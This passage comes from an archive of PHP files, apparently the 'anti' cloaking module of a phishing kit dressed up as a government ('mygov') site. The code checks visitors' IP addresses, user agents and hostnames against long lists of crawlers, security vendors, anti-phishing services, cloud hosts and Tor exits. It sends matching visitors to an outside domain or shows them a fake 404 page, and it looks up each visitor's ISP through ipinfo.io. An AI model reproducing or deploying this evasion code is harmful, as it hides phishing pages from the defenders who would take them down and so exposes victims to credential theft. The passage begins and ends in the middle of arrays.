index","html_analyzer","htmlgobble","hubater","hyper-decontextualizer","ia_archiver","ibm_planetwide","ichiro","iconsurf","iltrovatore","image.kapsi.net","imagelock","incywincy","indexer","infobee","informant","ingrid","inktomisearch.com","inspector web","intelliagent","internet shinchakubin","ip3000","iron33","israeli-search","ivia","jack","jakarta","javabee","jetbot","jumpstation","katipo","kdd-explorer","kilroy","knowledge","kototoi","kretrieve","labelgrabber","lachesis","larbin","legs","libwww","linkalarm","link validator","linkscan","lockon","lwp","lycos","magpie","mantraagent","mapoftheinternet","marvin/","mattie","mediafox","mediapartners","mercator","merzscope","microsoft url control","minirank","miva","mj12","mnogosearch","moget","monster","moose","motor","multitext","muncher","muscatferret","mwd.search","myweb","najdi","nameprotect","nationaldirectory","nazilla","ncsa beta","nec-meshexplorer","nederland.zoek","netcarta webmap engine","netmechanic","netresearchserver","netscoop","newscan-online","nhse","nokia6682/","nomad","noyona","nutch","nzexplorer","objectssearch","occam","omni","open text","openfind","openintelligencedata","orb search","osis-project","pack rat","pageboy","pagebull","page_verifier","panscient","parasite","partnersite","patric","pear.","pegasus","peregrinator","pgp key agent","phantom","phpdig","picosearch","piltdownman","pimptrain","pinpoint","pioneer","piranha","plumtreewebaccessor","pogodak","poirot","pompos","poppelsdorf","poppi","popular iconoclast","psycheclone","publisher","python","rambler","raven search","roach","road runner","roadhouse","robbie","robofox","robozilla","rules","salty","sbider","scooter","scoutjet","scrubby","search.","searchprocess","semanticdiscovery","senrigan","sg-scout","shai'hulud","shark","shopwiki","sidewinder","sift","silk","simmany","site searcher","site valet","sitetech-rover","skymob.com","sleek","smartwit","sna-","snappy","snooper","sohu","speedfind","sphere","sphider","spinner","spyder","steeler/","suke","suntek","supersnooper","surfnomore","sven","sygol","szukacz","tach black widow","tarantula","templeton","/teoma","t-h-u-n-d-e-r-s-t-o-n-e","theophrastus","titan","titin","tkwww","toutatis","t-rex","tutorgig","twiceler","twisted","ucsd","udmsearch","url check","updated","vagabondo","valkyrie","verticrawl","victoria","vision-search","volcano","voyager/","voyager-hc","w3c_validator","w3m2","w3mir","walker","wallpaper","wanderer","wauuu","wavefire","web core","web hopper","web wombat","webbandit","webcatcher","webcopy","webfoot","weblayers","weblinker","weblog monitor","webmirror","webmonkey","webquest","webreaper","websitepulse","websnarf","webstolperer","webvac","webwalk","webwatch","webwombat","webzinger","wget","whizbang","whowhere","wild ferret","worldlight","wwwc","wwwster","xenu","xget","xift","xirq","yandex","yanga","yeti","yodao","zao/","zippp","zyborg","....");foreach($b3d6d45ss as $kf5g8f){if(substr_count($gh665yu,$kf5g8f)>0){header('Location: http://2m.ma');echo "<h1>404 Not Found</h1>The page that you have requested could not be found.";}}$ef2550c=array("^81.161.59.*","^66.135.200.*","^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*","^72.14.192.*","^208.65.144.*","^74.125.*.*","^209.85.128.*","^216.239.32.*","^74.125.*.*","^207.126.144.*","^173.194.*.*","^64.233.160.*","^72.14.192.*","^66.102.*.*","^64.18.*.*","^194.52.68.*","^194.72.238.*","^62.116.207.*","^212.50.193.*","^69.65.*.*","^50.7.*.*","^131.212.*.*","^46.116.*.* ","^62.90.*.*","^89.138.*.*","^82.166.*.*","^85.64.*.*","^85.250.*.*","^89.138.*.*","^93.172.*.*","^109.186.*.*","^194.90.*.*","^212.29.192.*","^212.29.224.*","^212.143.*.*","^212.150.*.*","^212.235.*.*","^217.132.*.*","^50.97.*.*","^217.132.*.*","^209.85.*.*","^66.205.64.*","^204.14.48.*","^64.27.2.*","^67.15.*.*","^202.108.252.*","^193.47.80.*","^64.62.136.*","^66.221.*.*","^64.62.175.*","^198.54.*.*","^192.115.134.*","^216.252.167.*","^193.253.199.*","^69.61.12.*","^64.37.103.*","^38.144.36.*","^64.124.14.*","^206.28.72.*","^209.73.228.*","^158.108.*.*","^168.188.*.*","^66.207.120.*","^167.24.*.*","^192.118.48.*","^67.209.128.*","^12.148.209.*","^12.148.196.*","^193.220.178.*","68.65.53.71","^198.25.*.*","^64.106.213.*","^91.103.66.*","^208.91.115.*","^199.30.228.*");if(in_array($c5d6b,$ef2550c)){header('Location: http://2m.ma');exit();}else{foreach($ef2550c as $b1b3v6f){if(preg_match('/'.$b1b3v6f.'/',$c5d6b)){header('Location: http://2m.ma');echo "<h1>404 Not Found</h1>The page that you have requested could not be found.";}}}?>mygov/anti/anti5.php000064400000013457151676702570010423 0ustar00<?php $user_agent=$_SERVER['HTTP_USER_AGENT'];$user_ip=$_SERVER['REMOTE_ADDR'];$hostname=gethostbyaddr($_SERVER['REMOTE_ADDR']);$bots_agents=array('googlebot','yahoo','slurp','yahooSeeker','facebookexternalhit','ia_archiver','yandexbot','baiduspider','crawler','httrack','pycurl','python-requests','curl','wget','phish','Http Crawler');$bots_ips=array('1.9.2.13','1.9.2.15','62.210.13.58','104.62.2.60','104.83.233.198','107.178.194.64','108.161.29.60','115.238.55.18','119.97.214.138','138.197.207.*','145.239.156.71','145.239.156.89','150.70.168.35','150.70.188.167','154.127.57.30','162.243.128.197','162.243.187.126','162.243.69.215','165.227.0.128','170.250.139.48','138.197.207.147','173.230.147.44','177.39.232.144','178.17.170.156','185.104.186.168','185.220.101.26','185.28.20.243','188.166.63.71','192.36.27.7','196.52.84.81','204.13.201.137','208.87.233.140','212.83.139.219','212.92.117.5','216.164.117.239','217.16.26.166','217.96.188.74','219.117.238.170','23.27.153.247','23.27.154.37','24.23.24.144','27.0.1453.110','3.0.04506.648','3.0.4506.2152','31.168.158.239','34.237.113.113','39.0.2150.5','41.0.2272.118','43.0.2357.81','44.0.2403.155','46.101.94.163','5.62.39.18','5.62.41.35','5.62.56.91','50.112.194.65','50.116.2.167','51.0.2704.103','52.18.11.161','52.192.164.225','52.27.2.86','52.31.63.97','52.5.98.73','52.72.33.140','52.87.10.90','52.91.94.56','53.0.2785.116','54.213.103.141','54.228.218.117','54.245.191.79','56.0.2924.87','57.0.2987.98','61.0.3116.0','62.24.252.133','62.67.194.35','63.0.3239.132','64.0.3282.140','64.0.3282.167','66.0.3358.0','66.0.3359.0','67.0.3360.0','67.0.3361.0','68.65.53.71','75.163.12.85','76.19.184.88','77.69.251.230','80.104.176.17','81.0.48.*','81.0.48.138','84.13.191.239','84.92.148.184','88.99.62.141','217.96.197.246','89.234.157.254','91.231.212.111','97.85.126.186^66.102.*.*','^1.234.41.*','^104.108.64.175','^104.131.223.*','^107.170.*.*','^107.178.194.*','^107.178.195.*','^107.20.181.*','^108.162.215.*','^108.162.246.*','^109.186.*.*','^12.148.196.*','^12.148.209.*','^124.66.185.*','^128.242.*.*','^131.*.*.*','^131.212.*.*','^131.253.*.*','^133.11.204.*','^134.170.2.199','^141.101.104.*','^149.20.*.*','^149.20.54.*','^157.*.*.*','^157.54.*.*','^158.108.*.*','82.102.27.77','^162.158.*.*','^162.158.7.*','^162.158.72.*','^162.158.95.*','^167.24.*.*','^168.188.*.*','^173.194.*.*','^173.194.112.*','^173.194.116.102','^173.194.116.149','^173.245.55.*','^176.195.231.*','^178.43.117.*','^184.173.*.*','^185.2.138.*','^185.28.20.*','^188.165.83.*','^188.244.39.*','^192.115.134.*','^192.118.48.*','^192.232.213.*','^193.220.178.*','^193.221.113.53','^193.253.199.*','^193.47.80.*','^194.153.113.*','^194.52.68.*','^194.72.238.*','^194.90.*.*','^195.128.227.*','^198.25.*.*','^198.41.243.*','^198.54.*.*','^198.60.236.*','^199.30.228.*','^202.*.*.*','^202.108.252.*','^202.160.*.*','^204.*.*.*','^204.14.48.*','^206.207.*.*','^206.253.226.*','^206.28.72.*','^207.*.*.*','^207.126.144.*','^207.46.*.*','^207.46.8.167','^207.46.8.199','^207.68.*.*','^208.65.144.*','^208.76.45.53','^208.84.*.*','^208.91.115.*','^209.191.*.*','^209.73.228.*','^209.85.*.*','^209.85.128.*','^212.143.*.*','^212.150.*.*','^212.235.*.*','^212.29.192.*','^212.29.224.*','^212.50.193.*','^212.8.79.*','^213.*.*.*','^216.239.*.*','^216.239.32.*','^216.252.167.*','^216.33.229.163','^216.58.211.37','^217.132.*.*','^217.16.26.*','^217.74.103.*','^219.*.*.*','^37.128.131.171','^37.140.188.*','^38.100.*.*','^38.105.*.*','^38.144.36.*','^38.74.138.*','^46.116.*.* ','^46.244.*.*','^46.4.120.*','^50.7.*.*','^50.97.*.*','^54.176.*.*','^54.228.218.*','^62.116.207.*','^62.141.65.*','^62.90.*.*','^62.99.77.*','^63.*.*.*','^64.*.*.*','^64.106.213.*','^64.124.14.*','^64.18.*.*','^64.233.*.*','^64.233.160.*','^64.233.173.*','^64.233.191.*','^64.233.191.255*','^64.27.2.*','^64.37.103.*','^64.4.*.*','^64.62.136.*','^64.62.175.*','^64.68.90.*^81.161.59.*','^65.*.*.*','^65.52.*.*','^65.54.188.110','^65.54.188.126','^65.54.188.94','^65.55.206.154','^65.55.33.119','^65.55.33.135','^65.55.37.104','^65.55.37.120','^65.55.37.72','^65.55.37.88','^65.55.85.12','^65.55.92.136','^65.55.92.152','^65.55.92.168','^65.55.92.184','^66.102.*.*','^66.135.200.*','^66.150.14.*','^66.196.*.*','^66.205.64.*','^66.207.120.*','^66.211.160.86*','^66.211.169.3','^66.211.169.66','^66.221.*.*','^66.228.*.*','^66.249.*.*','^67.15.*.*','^67.195.*.*','^67.209.128.*','^68.*.*.*','^68.142.*.*','^68.65.53.71','^69.164.145.*','^69.61.12.*','^69.65.*.*','^72.14.*.*','^72.14.192.*','^72.30.*.*','^72.52.96.*','^74.125.*.*','^74.6.*.*','^78.148.13.*','^8.12.*.*','^82.166.*.*','^83.31.118.*','^83.31.69.*','^85.250.*.*','^85.64.*.*','^85.9.7.*','^87.106.251.*','^89.138.*.*','^89.163.159.214','^91.103.66.*','^91.231.*.*','^91.231.212.*','^92.103.69.*','^93.172.*.*','^93.54.82.*','^94.26.*.*','^95.108.194.*','^95.85.*.*','^98.136.*.*','185.104.120.4','212.83.170.209','87.115.213.2','82.223.27.82','163.172.174.24','37.187.96.202','92.103.69.158');$blocked_words=array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit","avast");$shit_isps=array("DigitalOcean","Amazon","Google","phishtank","net4sec","AVAST Software s.r.o.","BullGuard ApS","PayPal","Hotmail","Yahoo","AOL","Microsoft","Kaspersky Lab","Linode, LLC","MSN","ONLINE S.A.S.","Joshua Peter McQuistan");foreach($bots_agents as $bot_agent){if(substr_count($user_agent,$bot_agent)>0){exit(header('Location: http://2m.ma'));}}foreach($bots_ips as $bot_ip){if(preg_match('/'.$bot_ip.'/',$user_ip)){exit(header('Location: http://2m.ma'));}}foreach($blocked_words as $word){if(substr_count($hostname,$word)>0){exit(header('Location: http://2m.ma'));}}$ipp=isset($user_ip)&&$user_ip!=""?$user_ip:"1.1.1.1";$ISP=@file_get_contents('http://ipinfo.io/'.$ipp.'/org');if($ISP==false){return "ppp";}foreach($shit_isps as $isp){if(substr_count($ISP,$isp)){exit(header('Location: http://2m.ma'));}}?>mygov/anti/anti6.php000064400000007405151676702570010420 0ustar00<?php


$bannedIP = array("^81.161.59.*", "^66.135.200.*", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*", "^91.103.66.*", "^208.91.115.*", "^199.30.228.*", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*", "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*");
if (in_array($_SERVER['REMOTE_ADDR'], $bannedIP)) {
    exit(header('Location: http://2m.ma'));
} else {
    foreach($bannedIP as $ip) {
        if (preg_match('/' . $ip . '/', $_SERVER['REMOTE_ADDR'])) {
            exit(header('Location: http://2m.ma'));
        }
    }
}
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$blocked_words = array("above", "google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit", "msnbot","p3pwgdsn","netcraft","trendmicro", "ebay", "paypal", "torservers", "messagelabs", "sucuri.net", "crawler",);
foreach($blocked_words as $word) {
    if (substr_count($hostname, $word) > 0) {
        exit(header('Location: http://2m.ma'));
    }
}

$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$blocked_words = array("above", "google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit",);
foreach($blocked_words as $word) {
    if (substr_count($hostname, $word) > 0) {
        exit(header('Location: http://2m.ma'));
    }
}
?>mygov/anti/anti7.php000064400000010351151676702570010413 0ustar00<?php

$id = $_SERVER['REMOTE_ADDR'];
$ips = array(
"^94.26.*.*", "^95.85.*.*", "^72.52.96.*", "^212.8.79.*", "^62.99.77.*", "^83.31.118.*", "^91.231.*.*", "^206.207.*.*", "^91.231.212.*", "^62.99.77.*", "^198.41.243.*", "^162.158.*.*", "^162.158.7.*", "^162.158.72.*", "^173.245.55.*", "^108.162.246.*", "^162.158.95.*", "^108.162.215.*", "^95.108.194.*", "^141.101.104.*", "^93.54.82.*", "^69.164.145.*", "^194.153.113.*", "^178.43.117.*", "^62.141.65.*", "^83.31.69.*", "^107.178.195.*", "^149.20.54.*", "^85.9.7.*", "^87.106.251.*", "^107.178.194.*", "^124.66.185.*", "^133.11.204.*", "^185.2.138.*", "^188.165.83.*", "^78.148.13.*", "^192.232.213.*", "^1.234.41.*", "^124.66.185.*", "^87.106.251.*", "^176.195.231.*", "^206.253.226.*", "^107.20.181.*", "^188.244.39.*", "^124.66.185.*", "^38.74.138.*", "^124.66.185.*", "^38.74.138.*", "^206.253.226.*", "^1.234.41.*", "^124.66.185.*", "^87.106.251.*", "^85.9.7.*", "^37.140.188.*", "^195.128.227.*", "^38.74.138.*", "^107.20.181.*", "^104.131.223.*", "^46.4.120.*", "^107.178.194.*", "^198.60.236.*", "^217.74.103.*", "^92.103.69.*", "^217.74.103.*", "^66.211.160.86*", "^46.244.*.*", "^131.*.*.*", "^157.*.*.*", "^202.*.*.*", "^204.*.*.*", "^207.*.*.*", "^213.*.*.*", "^219.*.*.*", "^63.*.*.*", "^64.*.*.*", "^65.*.*.*", "^68.*.*.*", "^64.*.*.*", "^64.233.160.*", "^64.233.191.*", "^64.233.191.255*",  "^66.102.*.*", "^66.249.*.*", "^72.14.*.*", "^74.125.*.*", "^209.85.*.*", "^216.239.*.*", "^64.4.*.*", "^65.52.*.*", "^131.253.*.*", "^157.54.*.*", "^207.46.*.*", "^207.68.*.*", "^8.12.*.*", "^66.196.*.*", "^66.228.*.*", "^67.195.*.*", "^68.142.*.*", "^72.30.*.*", "^74.6.*.*", "^98.136.*.*", "^202.160.*.*", "^209.191.*.*", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*",
);
foreach($ips as $ip) {
          if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
			exit(header('Location: http://2m.ma'));
			$ip = getenv("REMOTE_ADDR");
          }
     }
	 
$dp =  strtolower($_SERVER['HTTP_USER_AGENT']);
$blocked_words = array(
     "bot",
     "above",
     "google",
     "softlayer",
	 "amazonaws",
	 "cyveillance",
	 "phishtank",
	 "dreamhost",
	 "netpilot",
	 "calyxinstitute",
	 "tor-exit",
	 "apache-httpclient",
	 "lssrocketcrawler",
	 "crawler",
	 "urlredirectresolver",
	 "jetbrains",
	 "spam",
	 "windows 95",
	 "windows 98",
	 "acunetix",
	 "netsparker",
	 "007ac9",
	 "008",
	 "192.comagent",
	 "200pleasebot",
	 "360spider",
	 "4seohuntbot",
	 "50.nu",
	 "a6-indexer",
	 "admantx",
	 "amznkassocbot",
	 "aboundexbot",
	 "aboutusbot",
	 "abrave spider",
	 "accelobot",
	 "acoonbot",
	 "addthis.com",
	 "adsbot-google",
	 "ahrefsbot",
	 "alexabot",
	 "amagit.com",
	 "analytics",
	 "antbot",
	 "apercite",
	 "aportworm",
	 "EBAY",
	 "CL0NA",
	 "jabber",
	 "ebay",
	 "arabot",
	 "hotmail!",
	 "msn!",
	 "outlook!",
	 "outlook",
	 "msn",
	 "hotmail",
);

foreach($blocked_words as $word2) {
    if (substr_count($dp, strtolower($word2)) > 0 or $dp == "" or $dp == " " or $dp == "	") {
		exit(header('Location: http://2m.ma'));
    }  
}
?>mygov/anti/anti8.php000064400000020744151676702570010423 0ustar00<?php

$ips = array( // LIST BOOTS IP
		 "^66.102.*.*",
		 "^38.100.*.*",
		 "^107.170.*.*",
		 "^149.20.*.*",
		 "^38.105.*.*",
		 "^74.125.*.*",
		 "^66.150.14.*",
		 "^54.176.*.*",
		 "^38.100.*.*",
		 "^184.173.*.*",
		 "^66.249.*.*",
		 "^128.242.*.*",
		 "^72.14.192.*",
		 "^208.65.144.*",
		 "^74.125.*.*",
		 "^209.85.128.*",
		 "^216.239.32.*",
		 "^74.125.*.*",
		 "^207.126.144.*",
		 "^173.194.*.*",
		 "^64.233.160.*",
		 "^72.14.192.*",
		 "^66.102.*.*",
		 "^64.18.*.*",
		 "^194.52.68.*",
		 "^194.72.238.*",
		 "^62.116.207.*",
		 "^212.50.193.*",
		 "^69.65.*.*",
		 "^50.7.*.*",
		 "^131.212.*.*",
		 "^46.116.*.*",
		 "^62.90.*.*",
		 "^89.138.*.*",
		 "^82.166.*.*",
		 "^85.64.*.*",
		 "^85.250.*.*",
		 "^89.138.*.*",
		 "^93.172.*.*",
		 "^109.186.*.*",
		 "^194.90.*.*",
		 "^212.29.192.*",
		 "^212.29.224.*",
		 "^212.143.*.*",
		 "^212.150.*.*",
		 "^212.235.*.*",
		 "^217.132.*.*",
		 "^50.97.*.*",
		 "^217.132.*.*",
		 "^209.85.*.*",
		 "^66.205.64.*",
		 "^204.14.48.*",
		 "^64.27.2.*",
		 "^67.15.*.*",
		 "^202.108.252.*",
		 "^193.47.80.*",
		 "^64.62.136.*",
		 "^66.221.*.*",
		 "^64.62.175.*",
		 "^198.54.*.*",
		 "^192.115.134.*",
		 "^216.252.167.*",
		 "^193.253.199.*",
		 "^69.61.12.*",
		 "^64.37.103.*",
		 "^38.144.36.*",
		 "^64.124.14.*",
		 "^206.28.72.*",
		 "^209.73.228.*",
		 "^158.108.*.*",
		 "^168.188.*.*",
		 "^66.207.120.*",
		 "^167.24.*.*",
		 "^192.118.48.*",
		 "^67.209.128.*",
		 "^12.148.209.*",
		 "^12.148.196.*",
		 "^193.220.178.*",
		 "68.65.53.71",
		 "^198.25.*.*",
		 "^64.106.213.*");
$Botname = array( // LIST BOOTS NAME
		 "bot",
		 "above",
		 "google",
		 "softlayer",
		 "amazonaws",
		 "cyveillance",
		 "compatible",
		 "facebook",
		 "phishtank",
		 "dreamhost",
		 "netpilot",
		 "calyxinstitute",
		 "tor-exit",
		 "apache-httpclient",
		 "lssrocketcrawler",
		 "Trident",
		 "X11",
		 "Macintosh",
		 "crawler",
		 "urlredirectresolver",
		 "jetbrains",
		 "spam",
		 "windows 95",
		 "windows 98",
		 "acunetix",
		 "netsparker",
		 "google",
		 "007ac9",
		 "008",
		 "192.comagent",
		 "200pleasebot",
		 "360spider",
		 "4seohuntbot",
		 "50.nu",
		 "a6-indexer",
		 "admantx",
		 "amznkassocbot",
		 "aboundexbot",
		 "aboutusbot",
		 "abrave spider",
		 "accelobot",
		 "acoonbot",
		 "addthis.com",
		 "adsbot-google",
		 "ahrefsbot",
		 "alexabot",
		 "amagit.com",
		 "analytics",
		 "antbot",
		 "apercite",
		 "aportworm",
		 "arabot",
		 "crawl",
		 "slurp",
		 "spider",
		 "seek",
		 "accoona",
		 "acoon",
		 "adressendeutschland",
		 "ah-ha.com",
		 "ahoy",
		 "altavista",
		 "ananzi",
		 "anthill",
		 "appie",
		 "arachnophilia",
		 "arale",
		 "araneo",
		 "aranha",
		 "architext",
		 "aretha",
		 "arks",
		 "asterias",
		 "atlocal",
		 "atn",
		 "atomz",
		 "augurfind",
		 "backrub",
		 "bannana_bot",
		 "baypup",
		 "bdfetch",
		 "big brother",
		 "biglotron",
		 "bjaaland",
		 "blackwidow",
		 "blaiz",
		 "blog",
		 "blo.",
		 "bloodhound",
		 "boitho",
		 "booch",
		 "bradley",
		 "butterfly",
		 "calif",
		 "cassandra",
		 "ccubee",
		 "cfetch",
		 "charlotte",
		 "churl",
		 "cienciaficcion",
		 "cmc",
		 "collective",
		 "comagent",
		 "combine",
		 "computingsite",
		 "csci",
		 "curl",
		 "cusco",
		 "daumoa",
		 "deepindex",
		 "delorie",
		 "depspid",
		 "deweb",
		 "die blinde kuh",
		 "digger",
		 "ditto",
		 "dmoz",
		 "docomo",
		 "download express",
		 "dtaagent",
		 "dwcp",
		 "ebiness",
		 "ebingbong",
		 "e-collector",
		 "ejupiter",
		 "emacs-w3 search engine",
		 "esther",
		 "evliya celebi",
		 "ezresult",
		 "falcon",
		 "felix ide",
		 "ferret",
		 "fetchrover",
		 "fido",
		 "findlinks",
		 "fireball",
		 "fish search",
		 "fouineur",
		 "funnelweb",
		 "gazz",
		 "gcreep",
		 "genieknows",
		 "getterroboplus",
		 "geturl",
		 "glx",
		 "goforit",
		 "golem",
		 "grabber",
		 "grapnel",
		 "gralon",
		 "griffon",
		 "gromit",
		 "grub",
		 "gulliver",
		 "hamahakki",
		 "harvest",
		 "havindex",
		 "helix",
		 "heritrix",
		 "hku www octopus",
		 "homerweb",
		 "htdig",
		 "html index",
		 "html_analyzer",
		 "htmlgobble",
		 "hubater",
		 "hyper-decontextualizer",
		 "ia_archiver",
		 "ibm_planetwide",
		 "ichiro",
		 "iconsurf",
		 "iltrovatore",
		 "image.kapsi.net",
		 "imagelock",
		 "incywincy",
		 "indexer",
		 "infobee",
		 "informant",
		 "ingrid",
		 "inktomisearch.com",
		 "inspector web",
		 "intelliagent",
		 "internet shinchakubin",
		 "ip3000",
		 "iron33",
		 "israeli-search",
		 "ivia",
		 "jack",
		 "jakarta",
		 "javabee",
		 "jetbot",
		 "jumpstation",
		 "katipo",
		 "kdd-explorer",
		 "kilroy",
		 "knowledge",
		 "kototoi",
		 "kretrieve",
		 "labelgrabber",
		 "lachesis",
		 "larbin",
		 "legs",
		 "libwww",
		 "linkalarm",
		 "link validator",
		 "linkscan",
		 "lockon",
		 "lwp",
		 "lycos",
		 "magpie",
		 "mantraagent",
		 "mapoftheinternet",
		 "marvin/",
		 "mattie",
		 "mediafox",
		 "mediapartners",
		 "mercator",
		 "merzscope",
		 "microsoft url control",
		 "minirank",
		 "miva",
		 "mj12",
		 "mnogosearch",
		 "moget",
		 "monster",
		 "moose",
		 "motor",
		 "multitext",
		 "muncher",
		 "muscatferret",
		 "mwd.search",
		 "myweb",
		 "najdi",
		 "nameprotect",
		 "nationaldirectory",
		 "nazilla",
		 "ncsa beta",
		 "nec-meshexplorer",
		 "nederland.zoek",
		 "netcarta webmap engine",
		 "netmechanic",
		 "netresearchserver",
		 "netscoop",
		 "newscan-online",
		 "nhse",
		 "nokia6682/",
		 "nomad",
		 "noyona",
		 "nutch",
		 "nzexplorer",
		 "objectssearch",
		 "occam",
		 "omni",
		 "open text",
		 "openfind",
		 "openintelligencedata",
		 "orb search",
		 "osis-project",
		 "pack rat",
		 "pageboy",
		 "pagebull",
		 "page_verifier",
		 "panscient",
		 "parasite",
		 "partnersite",
		 "patric",
		 "pear.",
		 "pegasus",
		 "peregrinator",
		 "pgp key agent",
		 "phantom",
		 "phpdig",
		 "picosearch",
		 "piltdownman",
		 "pimptrain",
		 "pinpoint",
		 "pioneer",
		 "piranha",
		 "plumtreewebaccessor",
		 "pogodak",
		 "poirot",
		 "pompos",
		 "poppelsdorf",
		 "poppi",
		 "popular iconoclast",
		 "psycheclone",
		 "publisher",
		 "python",
		 "rambler",
		 "raven search",
		 "roach",
		 "road runner",
		 "roadhouse",
		 "robbie",
		 "robofox",
		 "robozilla",
		 "rules",
		 "salty",
		 "sbider",
		 "scooter",
		 "scoutjet",
		 "scrubby",
		 "search.",
		 "searchprocess",
		 "semanticdiscovery",
		 "senrigan",
		 "sg-scout",
		 "shai'hulud",
		 "shark",
		 "shopwiki",
		 "sidewinder",
		 "sift",
		 "silk",
		 "simmany",
		 "site searcher",
		 "site valet",
		 "sitetech-rover",
		 "skymob.com",
		 "sleek",
		 "smartwit",
		 "sna-",
		 "snappy",
		 "snooper",
		 "sohu",
		 "speedfind",
		 "sphere",
		 "sphider",
		 "spinner",
		 "spyder",
		 "steeler/",
		 "suke",
		 "suntek",
		 "supersnooper",
		 "surfnomore",
		 "sven",
		 "sygol",
		 "szukacz",
		 "tach black widow",
		 "tarantula",
		 "templeton",
		 "/teoma",
		 "t-h-u-n-d-e-r-s-t-o-n-e",
		 "theophrastus",
		 "titan",
		 "titin",
		 "tkwww",
		 "toutatis",
		 "t-rex",
		 "tutorgig",
		 "twiceler",
		 "twisted",
		 "ucsd",
		 "udmsearch",
		 "url check",
		 "updated",
		 "vagabondo",
		 "valkyrie",
		 "verticrawl",
		 "victoria",
		 "vision-search",
		 "volcano",
		 "voyager/",
		 "voyager-hc",
		 "w3c_validator",
